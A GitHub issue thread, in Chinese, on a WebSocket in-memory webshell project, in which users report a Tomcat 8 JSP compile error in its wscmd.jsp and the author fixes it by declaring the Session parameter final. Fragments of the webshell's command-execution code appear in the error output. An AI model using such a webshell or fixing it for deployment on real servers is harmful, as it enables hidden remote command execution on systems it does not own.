veo / wsMemShell

WebSocket 内存马/Webshell,一种新型内存马/WebShell技术
https://veo.pub/2022/memshell/
1.41k stars 226 forks source link

报错问题 Tomcat8 #3

Closed MaxSecurity closed 2 years ago

MaxSecurity commented 2 years ago
HTTP状态 500 - 内部服务器错误
类型 异常报告

消息 无法为JSP编译类:

描述 服务器遇到一个意外的情况,阻止它完成请求。

例外情况

org.apache.jasper.JasperException: 无法为JSP编译类: 

JSP文件:[/wscmd.jsp] 的第 [29] 行发生了一个错误
Cannot refer to the non-final local variable session defined in an enclosing scope
26:                             out = e.toString();
27:                         }
28:                         try {
29:                             session.getBasicRemote().sendText(out);
30:                         } catch (IOException e) {
31:                             e.printStackTrace();
32:                         }

Stacktrace:
    org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:102)
    org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:213)
    org.apache.jasper.compiler.JDTCompiler.generateClass(JDTCompiler.java:580)
    org.apache.jasper.compiler.Compiler.compile(Compiler.java:380)
    org.apache.jasper.compiler.Compiler.compile(Compiler.java:350)
    org.apache.jasper.compiler.Compiler.compile(Compiler.java:334)
    org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:597)
    org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:398)
    org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
    org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
    javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
    org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
    org.apache.catalina.filters.HttpHeaderSecurityFilter.doFilter(HttpHeaderSecurityFilter.java:126)
    org.apache.catalina.filters.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:109)
):注意 主要问题的全部 stack 信息可以在 server logs 里查看

请问一下这个报错正常吗?

veo commented 2 years ago

jsp写的问题,更新了一下,你再试试新的?

xsshim commented 2 years ago

我也遇到这个问题了,现在依然报这个错 Cannot refer to the non-final local variable session defined in an enclosing scope tomcat 8.5 JDK1.8

MaxSecurity commented 2 years ago

jsp的写的问题,更新一下,你再试试新的?

还是报错状态

类型 异常报告

消息 无法为JSP编译类:

描述 服务器遇到一个意外的情况,阻止它完成请求。

例外情况

org.apache.jasper.JasperException: 无法为JSP编译类: 

JSP文件:[/wscmd.jsp] 的第 [29] 行发生了一个错误
Cannot refer to the non-final local variable session defined in an enclosing scope
26:                         }
27:                         in.close();
28:                         p.waitFor();
29:                         session.getBasicRemote().sendText(all.toString());
30:                     } catch (Exception e) {
31:                         e.printStackTrace();
32:                     }

Stacktrace:
    org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:102)
    org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:213)
    org.apache.jasper.compiler.JDTCompiler.generateClass(JDTCompiler.java:580)
    org.apache.jasper.compiler.Compiler.compile(Compiler.java:380)
    org.apache.jasper.compiler.Compiler.compile(Compiler.java:350)
    org.apache.jasper.compiler.Compiler.compile(Compiler.java:334)
    org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:597)
    org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:398)
    org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
    org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
    javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
    org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
    org.apache.catalina.filters.HttpHeaderSecurityFilter.doFilter(HttpHeaderSecurityFilter.java:126)
    org.apache.catalina.filters.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:109)
):注意 主要问题的全部 stack 信息可以在 server logs 里查看
veo commented 2 years ago

Cannot refer to the non-final local variable session defined in an enclosing scope

没有环境复现不了这个BUG,改下试试

Session session 改成 final Session session

public void onOpen(final Session session, EndpointConfig config) {

MaxSecurity commented 2 years ago

public void onOpen(final Session session, EndpointConfig config) {

改成这样就没问题了

veo commented 2 years ago

OK